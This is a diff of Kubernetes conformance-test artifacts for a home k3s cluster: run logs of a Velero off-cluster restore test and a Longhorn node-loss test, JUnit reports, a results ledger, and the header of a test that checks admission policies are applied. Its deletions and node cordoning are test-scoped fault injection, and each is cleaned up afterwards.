+        GOOD_PVB="$(echo "$PVB" | grep -cE ' Completed [^[:space:]]+$' || true)"
+        if [ "${GOOD_PVB:-0}" -lt 1 ]; then
+          echo "FAIL: no PodVolumeBackup reached phase Completed with a snapshot ID --" >&2
+          echo "      the volume data did not reach the off-cluster repository." >&2
+          exit 1
+        fi
+        echo "volume data uploaded off-cluster (PodVolumeBackup Completed with a kopia snapshotID)"
+        
+        # ============ WHEN (part 2): FAULT INJECTION -- annihilate the source ====
+        # Destroy EVERY in-cluster copy: the pod, the PVC, the namespace, and the
+        # underlying PersistentVolume (and with it the Longhorn replicas). After this
+        # there is no in-cluster source the restore could quietly read from.
+        kubectl delete namespace "$SRC" --wait=true --timeout=420s
+        for i in $(seq 1 30); do
+          if ! kubectl get namespace "$SRC" >/dev/null 2>&1; then break; fi
+          echo "poll $i: waiting for namespace $SRC to disappear"
+          sleep 10
+        done
+        if kubectl get namespace "$SRC" >/dev/null 2>&1; then
+          echo "FAIL: source namespace $SRC did not terminate; the destroy step is not convincing" >&2
+          exit 1
+        fi
+        echo "source namespace destroyed"
+        
+        # The longhorn StorageClass reclaims Delete, so the PV should already be gone;
+        # force it if a Retain policy (or a stuck finalizer) left it behind, because a
+        # surviving PV would make the restore prove nothing about off-cluster recovery.
+        kubectl delete pv "$ORIG_PV" --ignore-not-found --wait=false || true
+        for i in $(seq 1 30); do
+          if ! kubectl get pv "$ORIG_PV" >/dev/null 2>&1; then break; fi
+          echo "poll $i: waiting for PersistentVolume $ORIG_PV to disappear"
+          sleep 10
+        done
+        if kubectl get pv "$ORIG_PV" >/dev/null 2>&1; then
+          echo "FAIL: the original PersistentVolume $ORIG_PV SURVIVED the destroy step." >&2
+          echo "      An in-cluster copy of the data still exists, so a successful restore" >&2
+          echo "      would NOT prove recovery from the off-cluster backup. Refusing to pass." >&2
+          exit 1
+        fi
+        echo "original PersistentVolume $ORIG_PV is GONE -- no in-cluster copy of the data remains"
+        
+        # Best-effort corroboration (the least-privilege runner may not read longhorn.io):
+        # the Longhorn Volume CR and its replicas should be gone too.
+        if kubectl -n longhorn-system get volumes.longhorn.io "$ORIG_PV" >/dev/null 2>&1; then
+          echo "FAIL: Longhorn Volume $ORIG_PV still exists after PV deletion -- replicas survive in-cluster" >&2
+          exit 1
+        fi
+        echo "(longhorn Volume CR $ORIG_PV not present -- either deleted or not readable by this identity)"
+        
+        # ============================ RESTORE ============================
+        # Into a CLEAN, previously-nonexistent namespace (Velero creates it), which is
+        # the catalog's "restored into a clean state".
+        kubectl apply -f - <<EOF
+        apiVersion: velero.io/v1
+        kind: Restore
+        metadata:
+          name: ${RS}
+          namespace: ${VNS}
+          labels:
+            conformance.home.k3s/created-by: ${NS}
+        spec:
+          backupName: ${BK}
+          includedNamespaces: [${SRC}]
+          namespaceMapping:
+            ${SRC}: ${DST}
+          existingResourcePolicy: none
+        EOF
+        
+        RPHASE=""
+        for i in $(seq 1 90); do
+          RPHASE="$(kubectl -n "$VNS" get restores.velero.io "$RS" -o jsonpath='{.status.phase}' 2>/dev/null || true)"
+          echo "poll $i: restore phase=${RPHASE:-<pending>}"
+          case "${RPHASE:-}" in
+            Completed|Failed|PartiallyFailed|FailedValidation) break ;;
+          esac
+          sleep 10
+        done
+        if [ "${RPHASE:-}" != "Completed" ]; then
+          echo "FAIL: restore did not complete (phase=${RPHASE:-<timeout>})" >&2
+          kubectl -n "$VNS" get restores.velero.io "$RS" -o yaml >&2 || true
+          kubectl -n "$VNS" get podvolumerestores.velero.io -l velero.io/restore-name="$RS" -o wide >&2 || true
+          exit 1
+        fi
+        echo "restore $RS Completed into $DST"
+        
+        # ============================= THEN ==============================
+        # The service returns WITH ITS DATA. With kopia FSB the restored pod carries a
+        # `restore-wait` init container that blocks until the node-agent has written the
+        # volume contents back, so Ready here already implies the data landed.
+        if ! kubectl -n "$DST" wait --for=condition=Ready pod/dr-workload --timeout=600s; then
+          echo "FAIL: restored workload never became Ready in the clean namespace $DST" >&2
+          kubectl -n "$DST" describe pod dr-workload >&2 || true
+          kubectl -n "$VNS" get podvolumerestores.velero.io -l velero.io/restore-name="$RS" -o wide >&2 || true
+          exit 1
+        fi
+        
+        NEW_PV="$(kubectl -n "$DST" get pvc dr-data -o jsonpath='{.spec.volumeName}' 2>/dev/null || true)"
+        echo "restored PVC bound to PersistentVolume: ${NEW_PV:-<none>}"
+        [ -n "$NEW_PV" ] || { echo "FAIL: restored PVC did not bind a PV" >&2; exit 1; }
+        if [ "$NEW_PV" = "$ORIG_PV" ]; then
+          echo "FAIL: the restored PVC rebound the ORIGINAL PersistentVolume ($ORIG_PV)." >&2
+          echo "      That is an in-cluster survival, not an off-cluster restore." >&2
+          exit 1
+        fi
+        echo "restored onto a NEW volume ($NEW_PV != $ORIG_PV) -- the data came from outside the cluster"
+        
+        GOT="$(kubectl -n "$DST" exec dr-workload -- cat /data/canary)"
+        echo "recovered='$GOT' expected='$CANARY'"
+        if [ "$GOT" != "$CANARY" ]; then
+          echo "FAIL: restored data does not match what was backed up -- DR restore lost/corrupted data" >&2
+          exit 1
+        fi
+        
+        echo DR_RESTORED_FROM_OFF_CLUSTER_BACKUP_OK
+    l.go:52: | 02:17:18 | dr-restore | data-restores-from-the-off-cluster-backup | SCRIPT    | LOG   |
+        === STDOUT
+        velero ns=velero bsl=default src=chainsaw-glorious-sheep-dr-src dst=chainsaw-glorious-sheep-dr-dst
+        namespace/chainsaw-glorious-sheep-dr-src created
+        namespace/chainsaw-glorious-sheep-dr-src labeled
+        persistentvolumeclaim/dr-data created
+        pod/dr-workload created
+        pod/dr-workload condition met
+        seeded canary: dr-canary-1789352108935754215
+        original in-cluster PersistentVolume: pvc-4107d59d-a34f-4cba-bd2a-c5b2446156d9
+        backup.velero.io/chainsaw-glorious-sheep-dr-backup created
+        poll 1: backup phase=InProgress
+        poll 2: backup phase=InProgress
+        poll 3: backup phase=InProgress
+        poll 4: backup phase=Completed
+        backup chainsaw-glorious-sheep-dr-backup Completed to default
+        pod volume backups:
+        chainsaw-glorious-sheep-dr-backup-2gjrq Completed 979eed437233b45c7f85ba80074ab56b
+        volume data uploaded off-cluster (PodVolumeBackup Completed with a kopia snapshotID)
+        namespace "chainsaw-glorious-sheep-dr-src" deleted
+        source namespace destroyed
+        original PersistentVolume pvc-4107d59d-a34f-4cba-bd2a-c5b2446156d9 is GONE -- no in-cluster copy of the data remains
+        (longhorn Volume CR pvc-4107d59d-a34f-4cba-bd2a-c5b2446156d9 not present -- either deleted or not readable by this identity)
+        restore.velero.io/chainsaw-glorious-sheep-dr-restore created
+        poll 1: restore phase=InProgress
+        poll 2: restore phase=InProgress
+        poll 3: restore phase=InProgress
+        poll 4: restore phase=Completed
+        restore chainsaw-glorious-sheep-dr-restore Completed into chainsaw-glorious-sheep-dr-dst
+        pod/dr-workload condition met
+        restored PVC bound to PersistentVolume: pvc-f0c061e1-c080-49f2-a381-23da5c886df2
+        restored onto a NEW volume (pvc-f0c061e1-c080-49f2-a381-23da5c886df2 != pvc-4107d59d-a34f-4cba-bd2a-c5b2446156d9) -- the data came from outside the cluster
+        recovered='dr-canary-1789352108935754215' expected='dr-canary-1789352108935754215'
+        DR_RESTORED_FROM_OFF_CLUSTER_BACKUP_OK
+        === STDERR
+        Defaulted container "app" out of: app, restore-wait (init)
+    l.go:52: | 02:17:18 | dr-restore | data-restores-from-the-off-cluster-backup | SCRIPT    | DONE  |
+    l.go:52: | 02:17:18 | dr-restore | data-restores-from-the-off-cluster-backup | TRY       | END   |
+    l.go:52: | 02:17:18 | dr-restore | data-restores-from-the-off-cluster-backup | FINALLY   | BEGIN |
+    l.go:52: | 02:17:18 | dr-restore | data-restores-from-the-off-cluster-backup | CMD       | RUN   |
+        === COMMAND
+        /usr/bin/sh -c set -u
+        NS="$NAMESPACE"
+        SRC="${NS}-dr-src"; DST="${NS}-dr-dst"; BK="${NS}-dr-backup"; RS="${NS}-dr-restore"
+        
+        VNS="$(kubectl get backupstoragelocations.velero.io -A -o jsonpath='{.items[0].metadata.namespace}' 2>/dev/null || true)"
+        
+        # Velero objects first: a DeleteBackupRequest makes Velero remove the backup
+        # DATA from the off-cluster bucket, not just the CR (self-cleaning contract).
+        if [ -n "$VNS" ]; then
+          kubectl -n "$VNS" delete restores.velero.io "$RS" --ignore-not-found --wait=false || true
+          if kubectl -n "$VNS" get backups.velero.io "$BK" >/dev/null 2>&1; then
+            kubectl apply -f - <<EOF || true
+        apiVersion: velero.io/v1
+        kind: DeleteBackupRequest
+        metadata:
+          name: ${BK}-delete
+          namespace: ${VNS}
+          labels:
+            conformance.home.k3s/created-by: ${NS}
+        spec:
+          backupName: ${BK}
+        EOF
+            for i in $(seq 1 18); do
+              kubectl -n "$VNS" get backups.velero.io "$BK" >/dev/null 2>&1 || break
+              sleep 10
+            done
+            # Backstop if Velero could not process the request (the 2h ttl also GCs it).
+            kubectl -n "$VNS" delete backups.velero.io "$BK" --ignore-not-found --wait=false || true
+            kubectl -n "$VNS" delete deletebackuprequests.velero.io "${BK}-delete" --ignore-not-found --wait=false || true
+          fi
+          echo "velero objects for $NS cleaned up (ns $VNS)"
+        fi
+        
+        # Scratch namespaces (both, in case the run aborted at any point).
+        for n in "$DST" "$SRC"; do
+          kubectl delete namespace "$n" --ignore-not-found --wait=false || true
+        done
+        # Anything left labelled as ours (defensive; the two names above are the only
+        # namespaces this test ever creates).
+        kubectl delete namespace -l "conformance.home.k3s/created-by=${NS}" --ignore-not-found --wait=false || true
+        
+        # Released PVs from either namespace's PVCs would otherwise leak storage.
+        for pv in $(kubectl get pv -o jsonpath='{range .items[*]}{.metadata.name}{" "}{.spec.claimRef.namespace}{"\n"}{end}' 2>/dev/null | grep -E " (${SRC}|${DST})$" | cut -d' ' -f1 || true); do
+          kubectl delete pv "$pv" --ignore-not-found --wait=false || true
+          echo "released leftover PersistentVolume: $pv"
+        done
+        
+        echo "dr-restore teardown complete (best-effort; every object was created by this test)"
+    l.go:52: | 02:17:30 | dr-restore | data-restores-from-the-off-cluster-backup | SCRIPT    | LOG   |
+        === STDOUT
+        restore.velero.io "chainsaw-glorious-sheep-dr-restore" deleted from velero namespace
+        deletebackuprequest.velero.io/chainsaw-glorious-sheep-dr-backup-delete created
+        velero objects for chainsaw-glorious-sheep cleaned up (ns velero)
+        namespace "chainsaw-glorious-sheep-dr-dst" deleted
+        namespace "chainsaw-glorious-sheep-dr-dst" deleted
+        persistentvolume "pvc-f0c061e1-c080-49f2-a381-23da5c886df2" deleted
+        released leftover PersistentVolume: pvc-f0c061e1-c080-49f2-a381-23da5c886df2
+        dr-restore teardown complete (best-effort; every object was created by this test)
+    l.go:52: | 02:17:30 | dr-restore | data-restores-from-the-off-cluster-backup | SCRIPT    | DONE  |
+    l.go:52: | 02:17:30 | dr-restore | data-restores-from-the-off-cluster-backup | FINALLY   | END   |
+    l.go:52: | 02:17:30 | dr-restore | @chainsaw                                 | CLEANUP   | BEGIN |
+    l.go:52: | 02:17:30 | dr-restore | @chainsaw                                 | DELETE    | OK    | v1/Namespace @ chainsaw-glorious-sheep
+    l.go:52: | 02:17:36 | dr-restore | @chainsaw                                 | CLEANUP   | END   |
+--- PASS: chainsaw (0.00s)
+    --- PASS: chainsaw/dr-restore (150.70s)
+PASS
+Tests Summary...
+- Passed  tests 1
+- Failed  tests 0
+- Skipped tests 0
+Done.
+merge_junit: merged 1 report(s) -> /work/conformance/_artifacts/report.junit.xml (tests=1 failures=0 errors=0 skipped=0)
+[run.sh] Done. JUnit: /work/conformance/_artifacts/report.junit.xml | Coverage: /work/conformance/_artifacts/coverage/coverage.md

conformance/runs/20260914T021902Z-bd17b65/report.junit.xml

@@ -0,0 +1,13 @@
+<?xml version="1.0" ?>
+<testsuites name="home-k3s-conformance" tests="1" failures="0" errors="0" skipped="0">
+  <testsuite name="home-k3s-conformance L0/L1 (offline)" tests="1" failures="0" errors="0" skipped="0">
+    <testcase classname="L0:R-ENV-02,R-STATE-03" name="placeholder-guard-coupling">
+      <properties>
+        <property name="requirements" value="R-ENV-02,R-STATE-03"/>
+        <property name="layer" value="L0"/>
+        <property name="path" value="/work/conformance/tests/l0-static/placeholder-guard-coupling"/>
+        <property name="scope" value=""/>
+      </properties>
+    </testcase>
+  </testsuite>
+</testsuites>

conformance/runs/20260914T021902Z-bd17b65/run.log

@@ -0,0 +1,7 @@
+[run.sh] Coverage report first (always)
+[coverage] 51/51 requirements have a scaffolded test (100.0%); 0 gap(s), 0 safety-critical gap(s).
+[coverage] wrote /work/conformance/_artifacts/coverage/coverage.md and /work/conformance/_artifacts/coverage/coverage.json
+[run.sh] Running 1 offline L0/L1 check(s) (no cluster; docs/14).
+[offline] L0  PASS placeholder-guard-coupling (R-ENV-02,R-STATE-03)
+[offline] wrote JUnit (1 case(s), 0 failure(s), 0 skip(s), 0 unwired) -> /work/conformance/_artifacts/report.junit.xml
+[run.sh] Done (offline l0). JUnit: /work/conformance/_artifacts/report.junit.xml | Coverage: /work/conformance/_artifacts/coverage/coverage.md

conformance/runs/20260919T051633Z-6eaaaae/run.log

@@ -0,0 +1,6 @@
+[run.sh] Coverage report first (always)
+[coverage] 51/51 requirements have a scaffolded test (100.0%); 0 gap(s), 0 safety-critical gap(s).
+[coverage] wrote /home/keith/source/home-network-k3s-impl/conformance/_artifacts/coverage/coverage.md and /home/keith/source/home-network-k3s-impl/conformance/_artifacts/coverage/coverage.json
+[run.sh] No L0/L1 offline checks match the selection (layer=l3 reqs='R-STATE-02').
+ERROR: cluster reachable but 'chainsaw' (v0.2.12) not on PATH.
+Install the pinned binary or run via the in-cluster Job (incluster/).

conformance/runs/20260919T052225Z-9339d5a/report.junit.xml

@@ -0,0 +1,4 @@
+<testsuites name="chainsaw-report" tests="1" failures="0" errors="0" time="0.000000"><testsuite name="/work/conformance/tests/l3-fault-injection/node-loss" tests="1" failures="0" errors="0" id="0" time="">
+    <testcase name="node-loss" classname="" time="115.855688" />
+  </testsuite>
+</testsuites>

conformance/runs/20260919T052225Z-9339d5a/run.log

@@ -0,0 +1,232 @@
+[run.sh] Coverage report first (always)
+[coverage] 51/51 requirements have a scaffolded test (100.0%); 0 gap(s), 0 safety-critical gap(s).
+[coverage] wrote /work/conformance/_artifacts/coverage/coverage.md and /work/conformance/_artifacts/coverage/coverage.json
+[run.sh] No L0/L1 offline checks match the selection (layer=l3 reqs='R-STATE-02').
+[run.sh] LIGHT pass: no tests selected.
+[run.sh] HEAVY pass: 1 test(s) SERIAL (parallel=1) — node-loss
+Version: 0.2.12
+Loading config (/work/conformance/config/chainsaw-config.yaml)...
+- Using test file: chainsaw-test
+- TestDirs [/work/conformance/tests/l3-fault-injection/node-loss]
+- SkipDelete false
+- FailFast false
+- ReportFormat 'JUNIT-TEST'
+- ReportName 'chainsaw-report-heavy'
+- ReportPath '/work/conformance/_artifacts'
+- Namespace ''
+- FullName false
+- IncludeTestRegex ''
+- ExcludeTestRegex ''
+- ApplyTimeout 1m30s
+- AssertTimeout 3m0s
+- CleanupTimeout 2m0s
+- DeleteTimeout 2m0s
+- ErrorTimeout 1m0s
+- ExecTimeout 3m0s
+- DeletionPropagationPolicy Background
+- Parallel 1
+- Template true
+- NoCluster false
+- PauseOnFailure false
+Loading tests...
+- node-loss (/work/conformance/tests/l3-fault-injection/node-loss)
+Loading values...
+Running tests...
+=== RUN   chainsaw
+=== PAUSE chainsaw
+=== CONT  chainsaw
+=== RUN   chainsaw/node-loss
+=== PAUSE chainsaw/node-loss
+=== CONT  chainsaw/node-loss
+    l.go:52: | 05:22:26 | node-loss | @chainsaw                               | CREATE    | OK    | v1/Namespace @ chainsaw-advanced-boxer
+    l.go:52: | 05:22:26 | node-loss | volume-stays-available-across-node-loss | TRY       | BEGIN |
+    l.go:52: | 05:22:26 | node-loss | volume-stays-available-across-node-loss | CMD       | RUN   |
+        === COMMAND
+        /usr/bin/sh -c set -euo pipefail
+        NS="$NAMESPACE"
+        
+        # -- Gate 1: skip cleanly (green) if the longhorn tier is not present yet. --
+        if ! kubectl get storageclass longhorn >/dev/null 2>&1; then
+          echo "SKIP: 'longhorn' StorageClass absent — node-loss not applicable on this cluster yet"
+          echo NODE_LOSS_SKIPPED_OK
+          exit 0
+        fi
+        
+        # -- Gate 2: a 3-replica volume + single-node-loss headroom needs >= 3 Ready nodes. --
+        READY="$(kubectl get nodes \
+          -o jsonpath='{range .items[*]}{.status.conditions[?(@.type=="Ready")].status}{"\n"}{end}' \
+          | grep -c '^True$' || true)"
+        echo "ready nodes: ${READY}"
+        if [ "${READY:-0}" -lt 3 ]; then
+          echo "SKIP: only ${READY:-0} Ready node(s) (<3) — node-loss resilience not meaningful yet"
+          echo NODE_LOSS_SKIPPED_OK
+          exit 0
+        fi
+        
+        CANARY="node-loss-canary-$(date +%s%N)"
+        
+        # -- GIVEN: a Longhorn PVC (platform default SC = 3 replicas across nodes) + a
+        #    writer pod that writes the canary and flushes it to the replicated volume. --
+        kubectl -n "$NS" apply -f - <<EOF
+        apiVersion: v1
+        kind: PersistentVolumeClaim
+        metadata:
+          name: survivor
+        spec:
+          accessModes: [ReadWriteOnce]
+          storageClassName: longhorn
+          resources:
+            requests:
+              storage: 1Gi
+        EOF
+        
+        apply_pod() {
+          kubectl -n "$NS" apply -f - <<EOF
+        apiVersion: v1
+        kind: Pod
+        metadata:
+          name: $1
+        spec:
+          restartPolicy: Never
+          containers:
+            - name: app
+              image: busybox:1.36.1
+              command: ["sh", "-c", "sleep 3600"]
+              volumeMounts:
+                - name: data
+                  mountPath: /data
+          volumes:
+            - name: data
+              persistentVolumeClaim:
+                claimName: survivor
+        EOF
+        }
+        
+        apply_pod writer
+        kubectl -n "$NS" wait --for=condition=Ready pod/writer --timeout=240s
+        printf '%s' "$CANARY" | kubectl -n "$NS" exec -i writer -- sh -c 'cat > /data/canary && sync'
+        echo "wrote canary: $(kubectl -n "$NS" exec writer -- cat /data/canary)"
+        
+        # The victim node is the one the attached volume currently lives on.
+        VICTIM="$(kubectl -n "$NS" get pod writer -o jsonpath='{.spec.nodeName}')"
+        [ -n "$VICTIM" ] || { echo "FAIL: could not determine writer's node" >&2; exit 1; }
+        echo "victim node (currently hosts the attached volume): $VICTIM"
+        
+        # Best-effort precondition log: if the Longhorn Volume CR is readable, show the
+        # volume is genuinely 3-replica/healthy before we take a node. Non-fatal (the
+        # runner is least-privilege and may not have longhorn.io read rights) — the
+        # data-availability assertion below is the authoritative proof, not this.
+        PVNAME="$(kubectl -n "$NS" get pvc survivor -o jsonpath='{.spec.volumeName}' 2>/dev/null || true)"
+        if [ -n "$PVNAME" ]; then
+          kubectl -n longhorn-system get volumes.longhorn.io "$PVNAME" \
+            -o jsonpath='pre-fault robustness={.status.robustness} replicas={.spec.numberOfReplicas}{"\n"}' \
+            2>/dev/null || echo "(Longhorn Volume CR not readable — continuing; data read is the proof)"
+        fi
+        
+        # -- WHEN: FAULT INJECTION — remove the victim node FROM SERVICE. --
+        #    Label it with THIS test's unique namespace so `finally` can always find and
+        #    uncordon exactly this node; then cordon it; then evict ONLY our own writer
+        #    pod, forcing the volume to detach from the victim. (No `drain` — unrelated
+        #    pods on the node are never touched.)
+        kubectl label node "$VICTIM" "conformance.home.k3s/cordoned-by=$NS" --overwrite
+        kubectl cordon "$VICTIM"
+        echo "cordoned + labelled victim node: $VICTIM"
+        kubectl -n "$NS" delete pod writer --wait=true --timeout=240s
+        echo "evicted writer off the victim node; volume detached from $VICTIM"
+        
+        # -- THEN: a fresh workload re-binds the SAME volume. The victim is unschedulable,
+        #    so the scheduler MUST place the reader on a SURVIVING node; Longhorn re-attaches
+        #    the volume there from its replicas on the other nodes. --
+        apply_pod reader
+        kubectl -n "$NS" wait --for=condition=Ready pod/reader --timeout=360s
+        READER_NODE="$(kubectl -n "$NS" get pod reader -o jsonpath='{.spec.nodeName}')"
+        echo "reader scheduled on surviving node: $READER_NODE (victim was $VICTIM)"
+        if [ "$READER_NODE" = "$VICTIM" ]; then
+          echo "FAIL: reader landed back on the cordoned victim node — node was not removed from service" >&2
+          exit 1
+        fi
+        
+        GOT="$(kubectl -n "$NS" exec reader -- cat /data/canary)"
+        echo "recovered='$GOT' expected='$CANARY'"
+        [ "$GOT" = "$CANARY" ] || { echo "FAIL: data not available after node loss" >&2; exit 1; }
+        echo "volume available + data intact from a surviving node"
+        
+        # Best-effort reconvergence log: if the Longhorn Volume CR is readable, wait
+        # (bounded) for robustness to settle back to available (healthy|degraded — both
+        # serve I/O; a healthy 3-replica volume rebuilds a replica once headroom exists).
+        # Non-fatal for the same least-privilege reason as the pre-fault log.
+        if [ -n "$PVNAME" ]; then
+          for i in $(seq 1 30); do
+            ROB="$(kubectl -n longhorn-system get volumes.longhorn.io "$PVNAME" \
+                  -o jsonpath='{.status.robustness}' 2>/dev/null || true)"
+            [ -z "$ROB" ] && { echo "(Longhorn Volume CR not readable — skipping reconvergence log)"; break; }
+            echo "post-fault robustness[$i]=$ROB"
+            case "$ROB" in healthy|degraded) break ;; esac
+            sleep 10
+          done
+        fi
+        
+        echo NODE_LOSS_VOLUME_AVAILABLE_OK
+    l.go:52: | 05:23:37 | node-loss | volume-stays-available-across-node-loss | SCRIPT    | LOG   |
+        === STDOUT
+        ready nodes: 3
+        persistentvolumeclaim/survivor created
+        pod/writer created
+        pod/writer condition met
+        wrote canary: node-loss-canary-1789795346371286043
+        victim node (currently hosts the attached volume): k3s-prod-2
+        pre-fault robustness=healthy replicas=3
+        node/k3s-prod-2 labeled
+        node/k3s-prod-2 cordoned
+        cordoned + labelled victim node: k3s-prod-2
+        pod "writer" deleted from chainsaw-advanced-boxer namespace
+        evicted writer off the victim node; volume detached from k3s-prod-2
+        pod/reader created
+        pod/reader condition met
+        reader scheduled on surviving node: k3s-prod-3 (victim was k3s-prod-2)
+        recovered='node-loss-canary-1789795346371286043' expected='node-loss-canary-1789795346371286043'
+        volume available + data intact from a surviving node
+        post-fault robustness[1]=healthy
+        NODE_LOSS_VOLUME_AVAILABLE_OK
+    l.go:52: | 05:23:37 | node-loss | volume-stays-available-across-node-loss | SCRIPT    | DONE  |
+    l.go:52: | 05:23:37 | node-loss | volume-stays-available-across-node-loss | TRY       | END   |
+    l.go:52: | 05:23:37 | node-loss | volume-stays-available-across-node-loss | FINALLY   | BEGIN |
+    l.go:52: | 05:23:37 | node-loss | volume-stays-available-across-node-loss | CMD       | RUN   |
+        === COMMAND
+        /usr/bin/sh -c set -uo pipefail
+        for n in $(kubectl get nodes -l "conformance.home.k3s/cordoned-by=$NAMESPACE" -o name 2>/dev/null); do
+          kubectl uncordon "${n#node/}" || true
+          kubectl label "$n" "conformance.home.k3s/cordoned-by-" || true
+          echo "restored node to service: ${n#node/}"
+        done
+    l.go:52: | 05:23:37 | node-loss | volume-stays-available-across-node-loss | SCRIPT    | LOG   |
+        === STDOUT
+        node/k3s-prod-2 uncordoned
+        node/k3s-prod-2 unlabeled
+        restored node to service: k3s-prod-2
+    l.go:52: | 05:23:37 | node-loss | volume-stays-available-across-node-loss | SCRIPT    | DONE  |
+    l.go:52: | 05:23:37 | node-loss | volume-stays-available-across-node-loss | CMD       | RUN   |
+        === COMMAND
+        /usr/bin/sh -c kubectl -n "$NAMESPACE" delete pod writer reader --ignore-not-found --wait=false || true
+        kubectl -n "$NAMESPACE" delete pvc survivor --ignore-not-found --wait=false || true
+        echo "cleanup best-effort; chainsaw namespace teardown finalizes"
+    l.go:52: | 05:23:38 | node-loss | volume-stays-available-across-node-loss | SCRIPT    | LOG   |
+        === STDOUT
+        pod "reader" deleted from chainsaw-advanced-boxer namespace
+        persistentvolumeclaim "survivor" deleted from chainsaw-advanced-boxer namespace
+        cleanup best-effort; chainsaw namespace teardown finalizes
+    l.go:52: | 05:23:38 | node-loss | volume-stays-available-across-node-loss | SCRIPT    | DONE  |
+    l.go:52: | 05:23:38 | node-loss | volume-stays-available-across-node-loss | FINALLY   | END   |
+    l.go:52: | 05:23:38 | node-loss | @chainsaw                               | CLEANUP   | BEGIN |
+    l.go:52: | 05:23:38 | node-loss | @chainsaw                               | DELETE    | OK    | v1/Namespace @ chainsaw-advanced-boxer
+    l.go:52: | 05:24:21 | node-loss | @chainsaw                               | CLEANUP   | END   |
+--- PASS: chainsaw (0.00s)
+    --- PASS: chainsaw/node-loss (115.86s)
+PASS
+Tests Summary...
+- Passed  tests 1
+- Failed  tests 0
+- Skipped tests 0
+Done.
+merge_junit: merged 1 report(s) -> /work/conformance/_artifacts/report.junit.xml (tests=1 failures=0 errors=0 skipped=0)
+[run.sh] Done. JUnit: /work/conformance/_artifacts/report.junit.xml | Coverage: /work/conformance/_artifacts/coverage/coverage.md

conformance/runs/ledger.jsonl

@@ -3,3 +3,6 @@
 {"chainsaw_version": "v0.2.12", "env": "prod", "git_sha": "19fc8bcb27eab42a0007b28a831519d3e325c7b6", "junit_result": "passed", "kube_version": "v1.36.4+k3s1", "layer": "L1", "note": "L1 offline check exited 0; run_l1_offline.py renders its skips as JUnit <skipped/>, so a green JUnit is truthful without a sentinel", "proof": "proven", "requirements": ["R-NET-05", "R-NET-06", "R-NET-07"], "run_id": "20260913T014321Z-19fc8bc", "sentinel": null, "test": "egress-class-render", "ts_utc": "2026-09-13T01:43:21Z"}
 {"chainsaw_version": "v0.2.12", "env": "prod", "git_sha": "19fc8bcb27eab42a0007b28a831519d3e325c7b6-dirty", "junit_result": "passed", "kube_version": "v1.36.4+k3s1", "layer": "L3", "note": "run log OUTPUT carries every declared pass token (NS_PRIVILEGED_OK, TUNNEL_HEALTHY_OK, NO_LEAK_OK, INTERNET_UNAFFECTED_OK, TUNNEL_SELF_HEAL_OK, TUNNEL_RECOVERED_OK) and no skip token [log scoped to this testcase; tokens read from real-output sections only]", "proof": "proven", "requirements": ["R-NET-06"], "run_id": "20260913T014437Z-19fc8bc", "sentinel": "TUNNEL_RECOVERED_OK", "test": "vpn-killswitch", "ts_utc": "2026-09-13T01:44:37Z"}
 {"chainsaw_version": "v0.2.12", "env": "prod", "git_sha": "9d0814ae61e6a0ba64d3789a71f1cd9c985efbf0", "junit_result": "passed", "kube_version": "v1.36.4+k3s1", "layer": "L3", "note": "run log OUTPUT carries every declared pass token (NS_PRIVILEGED_OK, TUNNEL_HEALTHY_OK, NO_LEAK_OK, INTERNET_UNAFFECTED_OK, TUNNEL_SELF_HEAL_OK, TUNNEL_RECOVERED_OK) and no skip token [log scoped to this testcase; tokens read from real-output sections only]", "proof": "proven", "requirements": ["R-NET-06"], "run_id": "20260913T014923Z-9d0814a", "sentinel": "TUNNEL_RECOVERED_OK", "test": "vpn-killswitch", "ts_utc": "2026-09-13T01:49:23Z"}
+{"chainsaw_version": "v0.2.12", "env": "prod", "git_sha": "24b8111d0c39e9417e9f4d782f333f683540cfa7", "junit_result": "passed", "kube_version": "v1.36.4+k3s1", "layer": "L3", "note": "run log OUTPUT carries every declared pass token (OFF_CLUSTER_TARGET_OK, BACKUPS_ARE_SCHEDULED_OK, DR_RESTORED_FROM_OFF_CLUSTER_BACKUP_OK) and no skip token [log scoped to this testcase; tokens read from real-output sections only]", "proof": "proven", "requirements": ["R-STATE-03"], "run_id": "20260914T021505Z-24b8111", "sentinel": "DR_RESTORED_FROM_OFF_CLUSTER_BACKUP_OK", "test": "dr-restore", "ts_utc": "2026-09-14T02:15:05Z"}
+{"chainsaw_version": "v0.2.12", "env": "prod", "git_sha": "bd17b65db9fa906f336528e90b429ec1e2377963", "junit_result": "passed", "kube_version": "v1.36.4+k3s1", "layer": "L0", "note": "L0 offline check exited 0; run_l1_offline.py renders its skips as JUnit <skipped/>, so a green JUnit is truthful without a sentinel", "proof": "proven", "requirements": ["R-ENV-02", "R-STATE-03"], "run_id": "20260914T021902Z-bd17b65", "sentinel": null, "test": "placeholder-guard-coupling", "ts_utc": "2026-09-14T02:19:02Z"}
+{"chainsaw_version": "v0.2.12", "env": "prod", "git_sha": "9339d5a79e2301d399e4e20722b164583c53c55d", "junit_result": "passed", "kube_version": "v1.36.4+k3s1", "layer": "L3", "note": "run log OUTPUT carries every declared pass token (NODE_LOSS_VOLUME_AVAILABLE_OK) and no skip token [log scoped to this testcase; tokens read from real-output sections only]", "proof": "proven", "requirements": ["R-STATE-02"], "run_id": "20260919T052225Z-9339d5a", "sentinel": "NODE_LOSS_VOLUME_AVAILABLE_OK", "test": "node-loss", "ts_utc": "2026-09-19T05:22:25Z"}

conformance/tests/l0-static/admission-policies-actually-applied/chainsaw-test.yaml

@@ -0,0 +1,42 @@
+# =============================================================================
+# L0 STATIC — every authored admission policy is actually APPLIED  (R-SEC-01, R-SEC-02)
+# Catalog: docs/14 L0 row ("Pre-apply, in CI") — runs WITHOUT a cluster.
+#
+# WHY THIS EXISTS. `kyverno test` proves a policy is CORRECT. Nothing proved it was DEPLOYED.
+# platform/kyverno/ holds three lists and only platform-config/kustomization.yaml applies
+# anything; the other two are a reference copy and a namespace+HelmRelease render root. On
+# 2026-09-29 the R-SEC-02 boundary policy was added to the reference copy: it parsed, its
+# kyverno test passed, the gate passed, Flux reported the tier Ready at the new revision — and
+# the cluster ran the conformance-trigger ServiceAccount with nothing bounding it.
+#
+# WHOLE-REPO SCOPE, DELIBERATELY. The failure mode is a policy that is present but wired
+# nowhere, which by definition touches no requirement the diff attributes. A path-scoped run
+# would have skipped this check on the very commit that introduced the defect.
+# =============================================================================
+apiVersion: chainsaw.kyverno.io/v1alpha1
+kind: Test
+metadata:
+  name: admission-policies-actually-applied
+  labels:
+    conformance.home.k3s/R-SEC-01: "true"
+    conformance.home.k3s/R-SEC-02: "true"
+  annotations:
+    conformance.home.k3s/requirements: "R-SEC-01,R-SEC-02"
+    conformance.home.k3s/layer: "L0"
